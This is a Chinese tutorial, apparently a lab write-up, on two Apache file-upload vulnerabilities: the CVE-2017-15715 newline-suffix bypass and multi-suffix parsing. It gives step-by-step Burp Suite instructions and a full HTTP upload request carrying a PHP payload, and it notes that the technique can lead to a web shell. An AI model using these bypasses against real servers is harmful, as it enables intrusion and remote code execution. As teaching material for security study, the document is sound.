Apache中间件漏洞

目录

什么是Apache

Apache文件上传(CVE-2017-15715)

Apache后缀解析


什么是Apache

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。

Apache文件上传(CVE-2017-15715)

此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略

第一步:打开网站页面发现为空白,直接抓包看,发现Apache的版本存在漏洞

第二步:使用burp抓包,抓包后发送,发现响应包中显示apache版本(此版本存在漏洞)

第三步:构造文件上传post文件 (发现上传失败)

复制代码
POST / HTTP/1.1

Host: 192.168.66.141:50532

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358

Content-Length: 358

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------9552222486401230933854482358

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: application/octet-stream



<?php phpinfo();?>

-----------------------------9552222486401230933854482358

Content-Disposition: form-data; name="name"



1.php

-----------------------------9552222486401230933854482358--

第四步:将文件名修改为1.php.xxx再次上传发现文件上传成功,证明此处为黑名单验证

第五步:在1.php后添加a为标记,打开Hex将a处的61修改为0a,然后将数据包发送

第六步:访问1.php%0a,成功访问到phpinfo

Apache后缀解析

Apache文件解析漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过黑名单导致getshell。

第一步:上传php后缀文件,发现上传失败

第二步:抓取上传数据包将文件名修改为1.php.jpg,后进行上传

第三步:访问文件路径php成功解析

相关推荐
码农12138号10 分钟前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
Johny_Zhao33 分钟前
Docker + CentOS 部署 Zookeeper 集群 + Kubernetes Operator 自动化运维方案
linux·网络安全·docker·信息安全·zookeeper·kubernetes·云计算·系统运维
失败又激情的man6 小时前
Scrapy进阶封装(第四阶段:中间件设置,动态UA,ip代理池)
爬虫·scrapy·中间件
独行soc7 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
亲爱的非洲野猪8 小时前
Kafka消息积压的多维度解决方案:超越简单扩容的完整策略
java·分布式·中间件·kafka
涤生大数据8 小时前
Apache Spark 4.0:将大数据分析提升到新的水平
数据分析·spark·apache·数据开发
Whoisshutiao9 小时前
网安-XSS-pikachu
前端·安全·网络安全
摘星编程17 小时前
深入理解责任链模式:从HTTP中间件到异常处理的实战应用
http·设计模式·中间件·责任链模式·实战应用
阿絮~20 小时前
Apache RocketMQ进阶之路阅读笔记和疑问
笔记·apache·rocketmq
游戏开发爱好者81 天前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp